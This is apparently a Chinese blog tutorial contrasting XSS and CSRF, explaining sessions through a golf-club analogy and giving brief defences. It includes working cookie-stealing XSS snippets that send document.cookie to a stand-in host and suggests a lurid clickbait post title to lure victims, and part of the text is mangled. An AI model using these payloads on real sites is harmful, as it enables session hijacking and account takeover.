`

xss与csrf的区别

 
阅读更多
XSS是什么?它的全名是:Cross-site scripting,为了和CSS层叠样式表区分所以取名XSS。是一种网站应用程序的安全漏洞攻击,是代码注入的一种。它允许恶意用户将代码注入到网页上,其他用户在观看网页时就会受到影响。这类攻击通常包含了HTML以及用户端脚本语言。

XSS攻击的主要目的则是,想办法获取目标攻击网站的cookie,因为有了cookie相当于有了seesion,有了这些信息就可以在任意能接进互联网的pc登陆该网站,并以其他人的生份登陆,做一些破坏。预防措施,防止下发界面显示html标签,把</>等符号转义


举例:


上面的代码就是输入一个网络分享的图片,我在src中直接写入了javascript:alert('xss');操作成功后生成帖子,用IE6、7的用户打开这个我发的这个帖子就会出现下图的alert('xss')弹窗。 如图:


当然我会将标题设计的非常吸引人点击,比如 “陈冠希艳照又有流出2012版(20P无码)” ,这样如果我将里面的alert换成恶意代码,比如:
location.href='<a href='http://www.xss.com?cookie='+document.cookie;用户的cookie我也拿到了,如果服务端session没有设置过期的话,我以后甚至拿这个cookie而不需用户名密码,就可以以这个用户的身份登录成功了。'>http://www.xss.com?cookie='+document.cookie;用户的cookie我也拿到了,如果服务端session没有设置过期的话,我以后甚至拿这个cookie而不需用户名密码,就可以以这个用户的身份登录成功了。
这里的location.href只是处于简单这样做,如果做了跳转这个帖子很快会被管理员删除,但是如果我写如下代码,并且帖子的内容也是比较真实的,说不定这个帖子就会祸害很多人:
var img = document.createElement('img');
img.src='<a href='http://www.xss.com?cookie='+document.cookie'>http://www.xss.com?cookie='+document.cookie;
img.style.display='none';
document.getElementsByTagName('body')[0].appendChild(img);

这样就神不知鬼不觉的把当前用户的cookie发送给了我的恶意站点,我的恶意站点通过获取get参数就拿到了用户的cookie。当然我们可以通过这个方法拿到用户各种各样的数据。

CSRF是什么呢?CSRF全名是Cross-site request forgery,是一种对网站的恶意利用,CSRF比XSS更具危险性。想要深入理解CSRF的攻击特性我们有必要了解一下网站session的工作原理。

session我想大家都不陌生,无论你用.net或PHP开发过网站的都肯定用过session对象,然而session它是如何工作的呢?如果你不清楚请往下看。
先问个小问题:如果我把浏览器的cookie禁用了,大家认为session还能正常工作吗?

答案是否定的,我在这边举个简单的例子帮助大家理解session。
比如我买了一张高尔夫俱乐部的会员卡,俱乐部给了我一张带有卡号的会员卡。我能享受哪些权利(比如我是高级会员卡可以打19洞和后付费喝饮料,而初级会员卡只能在练习场挥杆)以及我的个人资料都是保存在高尔夫俱乐部的数据库里的。我每次去高尔夫俱乐部只需要出示这张高级会员卡,俱乐部就知道我是谁了,并且为我服务了。

这里我们的高级会员卡卡号 = 保存在cookie的sessionid;
而我的高级会员卡权利和个人信息就是服务端的session对象了。

我们知道http请求是无状态的,也就是说每次http请求都是独立的无关之前的操作的,但是每次http请求都会将本域下的所有cookie作为http请求头的一部分发送给服务端,所以服务端就根据请求中的cookie存放的sessionid去session对象中找到该会员资料了。
当然session的保存方法多种多样,可以保存在文件中,也可以内存里,考虑到分布式的横向扩展我们还是建议把它保存在第三方媒介中,比如redis或者mongodb。

我们理解了session的工作机制后,CSRF也就很容易理解了。CSRF攻击就相当于恶意用户A复制了我的高级会员卡,哪天恶意用户A也可以拿着这张假冒的高级会员卡去高尔夫俱乐部打19洞,享受美味的饮料了,而我在月底就会收到高尔夫俱乐部的账单!

了解CSRF的机制之后,危害性我相信大家已经不言而喻了,我可以伪造某一个用户的身份给其好友发送垃圾信息,这些垃圾信息的超链接可能带有木马程序或者一些欺骗信息(比如借钱之类的),如果CSRF发送的垃圾信息还带有蠕虫链接的话,那些接收到这些有害信息的好友万一打开私信中的连接就也成为了有害信息的散播着,这样数以万计的用户被窃取了资料种植了木马。整个网站的应用就可能在瞬间奔溃,用户投诉,用户流失,公司声誉一落千丈甚至面临倒闭。曾经在MSN上,一个美国的19岁的小伙子Samy利用css的background漏洞几小时内让100多万用户成功的感染了他的蠕虫,虽然这个蠕虫并没有破坏整个应用,只是在每一个用户的签名后面都增加了一句“Samy 是我的偶像”,但是一旦这些漏洞被恶意用户利用,后果将不堪设想,同样的事情也曾经发生在新浪微博上面。

举例:

CSRF攻击的主要目的是让用户在不知情的情况下攻击自己已登录的一个系统,类似于钓鱼。如用户当前已经登录了邮箱,或bbs,同时用户又在使用另外一个,已经被你控制的站点,我们姑且叫它钓鱼网站。这个网站上面可能因为某个图片吸引你,你去点击一下,此时可能就会触发一个js的点击事件,构造一个bbs发帖的请求,去往你的bbs发帖,由于当前你的浏览器状态已经是登陆状态,所以session登陆cookie信息都会跟正常的请求一样,纯天然的利用当前的登陆状态,让用户在不知情的情况下,帮你发帖或干其他事情。

预防措施,请求中加入随机数,让钓鱼网站无法正常伪造请求。
  • 大小: 43.6 KB
  • 大小: 32.3 KB
分享到:
评论

相关推荐

    xss+csrf+html练习源码.rar_XSS_csrf_csrf源码_xss源码_xss练习源码

    xss反射存储型的+csrf+html注入老网站的练习源码

    Web安全的三个XSS-CSRF-CLICK攻防姿

    Web安全的三个XSS-CSRF-CLICK攻防姿Web安全的三个XSS-CSRF-CLICK攻防姿

    跨站攻击(XSS+CSRF).docx

    实验目的与要求 1. 能理解XSS注入原理; 2. 能应用Low等级、Medium等级、High级别的XSS; 3. 能理解XSS的修复。 4. 能从攻击者角度、受害者角度描述CSRF; 5. 能应用Low等级、Medium等级的CSRF实现; 6. 能摸索High...

    Java的各种实验包括反射,算法,多线程,面试题,springboot,shiro,valid,XSS,CSRF防御

    Java的各种实验包括反射,算法,多线程,面试题,springboot,shiro,valid,XSS,CSRF防御

    router_xss_csrf:具有XSS和CSRF的安全路由器

    router_xss_csrf 具有XSS和CSRF的安全路由器 下载文件“ .htaccess”,并将其放置在应用程序的根目录下。 通常,这是一个名为“ htdocs”或“ www”的文件夹。 下载文件“ router.php”,并将其放置在应用程序的根...

    XSS与CSRF两种跨站攻击总结

    在那个年代,大家一般用拼接字符串的方式...但最近又听说了另一种跨站攻击CSRF,于是找了些资料了解了一下,并与XSS放在一起做个比较。XSS全称“跨站脚本”,是注入攻击的一种。其特点是不对服务器端造成任何伤害,而是

    使用Filter针对Xss攻击,sql注入,服务器访问白名单,以及csrf进行安全校验

    主要使用Filter针对Xss攻击,sql注入,服务器访问白名单,以及csrf进行安全校验 1,主要实现的是三大块功能:Xss攻击,sql注入,服务器白名单,以及csrf 2,此Filter为真实项目部署,在XssHttpServletRequestWrapper...

    详解XSS 和 CSRF简述及预防措施

    主要介绍了XSS 和 CSRF简述及预防措施,小编觉得挺不错的,现在分享给大家,也给大家做个参考。一起跟随小编过来看看吧

    Web高级知识-跨域&XSS;&CSRF;解决方案

    IP协议主要解决网络路由和寻址问题,TCP协议主要解决如何在IP层之上可靠的传递数据包,使在网络上的另一端收到发端发出的所有包,并且顺序与发出顺序一致。TCP有可靠,面向连接的特点。 如何理解HTTP协议是无状态的 ...

    Using_XSS_to_bypass_CSRF_protection

    If you are familiar to XSS and CSRF terms you can skip the first two chapters, but I recommend you read them. Warning! This tutorial was written for educational purposes only ,and I take no ...

    TokenBasedUnsafe:一个展示XSS和CSRF攻击的网站

    使用JSON Web令牌(JWT)的基于令牌的用户身份验证。 使用RSA算法对JWT中的数据进行加密和解密。 后端是使用nodejs和expressjs构建的。 前端是使用带有React钩子的... Webiste演示了XSS和CSRF攻击是如何发生的。

    Yii框架防止sql注入,xss攻击与csrf攻击的方法

    主要介绍了Yii框架防止sql注入,xss攻击与csrf攻击的方法,结合实例形式分析了Yii框架针对sql注入,xss攻击与csrf攻击的防范方法与相关函数调用注意事项,需要的朋友可以参考下

    Web安全第三次实验(CSRF,XSS,点击劫持).rar

    文件中包含myzoo,csrf.html,xss.txt,hijack.html.其中myzoo是测试网站,csrf需要在测试网站中的profile中设置超链接,xss攻击则直接可以将xss.txt内容复制到profile中,点击劫持也是需要设置超链接。

    django中CSRF的问题及解决

    CSRF是Cross Site Request Forgery的缩写,称其为“跨站请求伪造”。...与XSS攻击相比,CSRF攻击往往不大流行(因此对其进行防范的资源也相当稀少)和难以防范,所以有时候被认为比XSS更具危险性。

    TokenBasedSafe:一个展示针对XSS和CSRF攻击的防护的网站

    使用JSON Web令牌(JWT)的基于令牌的用户身份验证。 使用RSA算法对JWT中的数据进行加密和解密。 后端是使用nodejs和expressjs构建的。 前端是使用带有React钩子的Reactjs... 该网站用于演示针对XSS和CSRF攻击的防护

    预防XSS攻击和SQL注入XssFilter

    (10)结合其他漏洞,如CSRF漏洞,实施进一步作恶; (11)提升用户权限,包括进一步渗透网站; (12)传播跨站脚本蠕虫等; 三、过滤器配置 web.xml配置 XssFilter com.xxx.Filter.XssFilter XssFilter...

    Web应用安全:CSRF进阶.pptx

    一般来说,CSRF的作用范围局限于用户,可信网站和恶意网站直接,危害范围较小,可是如果XSS嵌入的恶意脚本具有自我复制以及借助受攻击的可信站点进一步传播的能力,那就会变成CSRF的进阶版:CSRF蠕虫。 CSRF进阶 3、...

Global site tag (gtag.js) - Google Analytics